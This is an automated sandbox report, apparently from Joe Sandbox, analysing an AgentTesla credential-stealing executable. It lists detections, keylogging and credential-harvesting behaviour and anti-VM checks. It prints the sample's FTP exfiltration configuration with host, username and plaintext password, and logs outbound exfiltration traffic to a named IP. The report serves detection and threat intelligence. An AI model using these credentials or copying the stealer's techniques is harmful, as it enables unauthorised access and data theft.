Edit tour

Windows Analysis Report
pE7icjUisS.exe

Overview

General Information

Sample name:	pE7icjUisS.exe renamed because original name is a hash value
Original sample name:	fcb6030b15822380735483e1911f0148961b7f7cc4a9fe30561825ed3cd22dbc.exe
Analysis ID:	1567461
MD5:	95c864e4a99b56f70fe18081066ed7b3
SHA1:	a8112f75b9869798c6e15782cd651690f1b6faf8
SHA256:	fcb6030b15822380735483e1911f0148961b7f7cc4a9fe30561825ed3cd22dbc
Tags:	AgentTeslaexeuser-adrian__luca
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

AI detected suspicious sample

Contains functionality to log keystrokes (.Net Source)

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

pE7icjUisS.exe (PID: 996 cmdline: "C:\Users\user\Desktop\pE7icjUisS.exe" MD5: 95C864E4A99B56F70FE18081066ED7B3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.normagroup.com.tr", "Username": "admins@normagroup.com.tr", "Password": "ab+LNvim5PAo"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
pE7icjUisS.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
pE7icjUisS.exe	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
pE7icjUisS.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3302b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3309d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33127:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33223:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33295:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3332b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
pE7icjUisS.exe	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304ae:$s2: GetPrivateProfileString 0x2fb58:$s3: get_OSFullName 0x311ea:$s5: remove_Key 0x3138f:$s5: remove_Key 0x32258:$s6: FtpWebRequest 0x3300d:$s7: logins 0x3357f:$s7: logins 0x36290:$s7: logins 0x36342:$s7: logins 0x37c3e:$s7: logins 0x36edc:$s9: 1.85 (Hash, version 2, native byte-order)

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.3856454499.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.3856454499.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: pE7icjUisS.exe PID: 996	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pE7icjUisS.exe PID: 996	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.pE7icjUisS.exe.b30000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.pE7icjUisS.exe.b30000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.0.pE7icjUisS.exe.b30000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3302b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3309d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33127:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33223:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33295:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3332b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.0.pE7icjUisS.exe.b30000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304ae:$s2: GetPrivateProfileString 0x2fb58:$s3: get_OSFullName 0x311ea:$s5: remove_Key 0x3138f:$s5: remove_Key 0x32258:$s6: FtpWebRequest 0x3300d:$s7: logins 0x3357f:$s7: logins 0x36290:$s7: logins 0x36342:$s7: logins 0x37c3e:$s7: logins 0x36edc:$s9: 1.85 (Hash, version 2, native byte-order)

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:57:16.502872+0100	2029927	1	A Network Trojan was detected	192.168.2.7	49711	104.247.165.99	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:57:17.679216+0100	2855542	1	A Network Trojan was detected	192.168.2.7	49720	104.247.165.99	51146	TCP
2024-12-03T15:57:17.800328+0100	2855542	1	A Network Trojan was detected	192.168.2.7	49720	104.247.165.99	51146	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: pE7icjUisS.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ftp.normagroup.com.tr

Avira URL Cloud: Label: phishing

Found malware configuration

Source: pE7icjUisS.exe

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.normagroup.com.tr", "Username": "admins@normagroup.com.tr", "Password": "ab+LNvim5PAo"}

Multi AV Scanner detection for submitted file

Source: pE7icjUisS.exe

ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: pE7icjUisS.exe

Joe Sandbox ML: detected

Source: pE7icjUisS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: pE7icjUisS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.7:49720 -> 104.247.165.99:51146
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.7:49711 -> 104.247.165.99:21

Source: global traffic

TCP traffic: 192.168.2.7:49720 -> 104.247.165.99:51146

Source: Joe Sandbox View

IP Address: 104.247.165.99 104.247.165.99

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: unknown

FTP traffic detected: 104.247.165.99:21 -> 192.168.2.7:49711 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 50 allowed.220-Local time is now 17:57. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: ftp.normagroup.com.tr

Source: pE7icjUisS.exe, 00000000.00000002.3856454499.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp, pE7icjUisS.exe, 00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.normagroup.com.tr
Source: pE7icjUisS.exe, 00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: pE7icjUisS.exe	String found in binary or memory: https://account.dyn.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: pE7icjUisS.exe, oAKy.cs

.Net Code: _5754M2

Installs a global keyboard hook

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\pE7icjUisS.exe

Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: pE7icjUisS.exe, type: SAMPLE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: pE7icjUisS.exe, type: SAMPLE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.0.pE7icjUisS.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.0.pE7icjUisS.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_014D4A60	0_2_014D4A60
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_014D3E48	0_2_014D3E48
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_014DD1FB	0_2_014DD1FB
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_014D4190	0_2_014D4190
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_062656C0	0_2_062656C0
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_06263F30	0_2_06263F30
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_0626DC00	0_2_0626DC00
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_0626BCD8	0_2_0626BCD8
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_06268D1F	0_2_06268D1F
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_06262AF8	0_2_06262AF8
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_06260040	0_2_06260040
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_06264FE0	0_2_06264FE0
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_0626321F	0_2_0626321F
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_063AF0B8	0_2_063AF0B8
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_063A1128	0_2_063A1128
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_063A1122	0_2_063A1122
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Code function: 0_2_014DB78A	0_2_014DB78A

Source: pE7icjUisS.exe, 00000000.00000002.3855637535.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs pE7icjUisS.exe
Source: pE7icjUisS.exe, 00000000.00000002.3855523364.0000000000EF8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs pE7icjUisS.exe
Source: pE7icjUisS.exe, 00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamef7121708-72dc-44f1-ae95-b037bc906047.exe4 vs pE7icjUisS.exe
Source: pE7icjUisS.exe	Binary or memory string: OriginalFilenamef7121708-72dc-44f1-ae95-b037bc906047.exe4 vs pE7icjUisS.exe

Source: pE7icjUisS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: pE7icjUisS.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: pE7icjUisS.exe, type: SAMPLE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.0.pE7icjUisS.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.0.pE7icjUisS.exe.b30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: pE7icjUisS.exe, ekKu0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: pE7icjUisS.exe, vKf1z6NvS.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: pE7icjUisS.exe, ZNAvlD7qmXc.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: pE7icjUisS.exe, U2doU2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: pE7icjUisS.exe, BgffYko.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: pE7icjUisS.exe, HrTdA63.cs	Cryptographic APIs: 'CreateDecryptor'
Source: pE7icjUisS.exe, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: pE7icjUisS.exe, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: pE7icjUisS.exe, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: pE7icjUisS.exe, Vvp22TrBv9g.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: pE7icjUisS.exe

Binary string: ID: 0x{0:X}qSize of the SerializedPropertyStore is less than 8 ({0})/StoreSize: {0} (0x{0X})3\Device\LanmanRedirector\[Failed to retrieve system handle information.

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Mutant created: NULL

Source: pE7icjUisS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: pE7icjUisS.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\pE7icjUisS.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\pE7icjUisS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\pE7icjUisS.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: pE7icjUisS.exe

ReversingLabs: Detection: 81%

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: pE7icjUisS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: pE7icjUisS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Code function: 0_2_06263AAF push ebx; retf

0_2_06263ADA

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\pE7icjUisS.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Memory allocated: 14D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Memory allocated: 2E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Memory allocated: 4E50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199871	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199762	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199656	Jump to behavior
